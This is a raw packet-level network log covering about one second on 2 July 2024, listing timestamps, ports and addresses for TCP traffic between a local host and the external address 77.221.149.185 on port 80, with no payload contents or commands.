Jul 2, 2024 22:52:30.812186003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812226057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.812247992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812258005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812271118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812283993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812294006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812299013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.812304020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812311888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.812320948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.812335014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.812354088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.815716982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815730095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815740108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815783024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.815788031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815799952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815810919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815820932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815831900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815836906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.815849066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.815880060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.815949917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815965891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815975904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.815987110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.816008091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.816030979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.816131115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.816152096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.816193104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.816966057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.816977978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.816988945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817017078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.817034960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817045927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817056894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817066908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817085028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.817116022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.817123890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817162991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817167997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.817174911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817209959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.817213058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817224026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817239046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817289114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.817349911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817588091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.817826986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817837954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817847967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817884922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.817890882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817902088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817914009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817924976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.817929983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.817955017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.818031073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.818075895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.825879097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.826126099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.826133966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.826143026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.826153994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.826162100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.826172113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.826179028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.826181889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.826224089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.826225996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.827428102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.827471018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.827481031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.827491045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.827533007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.827536106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.827544928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.827557087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.827565908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.827585936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.827606916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.827732086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.834343910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.834353924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.834358931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.834378004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.834387064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.834395885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.834407091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.834408045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.834461927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.834475994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.835727930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.835738897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.835748911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.835779905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.835808039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.835978031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.835987091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.836003065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.836030006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.836299896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.836309910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.836318970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.836345911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.836380005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.844669104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.844718933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.844728947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.844758034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.844769001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.844779015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.844789028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.844811916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.844841003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.927216053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927226067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927234888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927268982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927268982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.927282095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927292109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927301884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927311897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927313089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.927325010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.927361012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.927439928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927449942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927459955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927474976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927484989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927491903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.927525043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.927660942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927728891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927737951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927747965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927757025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927762985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.927762985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.927779913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927789927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927798986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.927819967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.927854061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.929521084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929531097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929539919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929568052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.929598093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.929644108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929653883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929662943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929672003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929682016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929692030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.929725885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.929846048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929856062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929866076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929891109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.929922104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.929963112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929972887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929982901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.929991961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930010080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.930039883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.930330038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930341005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930350065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930387974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.930464983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930475950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930484056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930493116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930514097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.930525064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.930614948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930625916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930630922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930676937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.930761099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930769920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930774927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930784941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930794954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930804968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.930828094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.930852890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.931493998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931504011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931514025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931524038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931548119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.931571960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.931632042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931642056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931653023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931660891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931669950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931679964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931679964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.931689978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931713104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.931762934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931772947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931782007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931791067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931801081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931806087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.931811094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931819916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931829929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931829929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.931840897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.931847095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.931868076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.931893110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932152033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932164907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932187080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932197094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932207108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932209015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932215929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932226896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932235003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932240009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932250023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932257891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932267904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932267904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932267904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932277918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932286978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932298899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932336092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932599068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932609081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932617903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932626963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932636976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932646036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932661057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932683945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932749033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932759047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932769060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932777882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932787895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932797909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932801008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932806969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932816029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932826042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932832956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932833910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932841063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932845116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932853937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932853937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932864904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.932888031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.932910919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.933486938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.933496952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.933506012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.933536053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.933568001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.933902025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.933911085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.933922052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.933944941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.934379101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.934389114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.934398890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.934420109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.934443951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.934549093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.976403952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.033106089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033117056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033126116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033135891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033145905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033157110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033163071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.033170938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033210993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.033524990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033535957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033541918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033550978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033560991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033571005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033581018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033581972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.033590078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033603907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033610106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.033613920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.033622026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.033664942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.035392046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035402060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035410881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035423994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035434008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035439014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.035444021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035454035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035458088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.035464048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035475969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035485983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035495996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035495996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.035505056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035514116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.035514116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035523891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035532951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035533905 CEST	49712	80	192.168.2.5	77.221.149.185
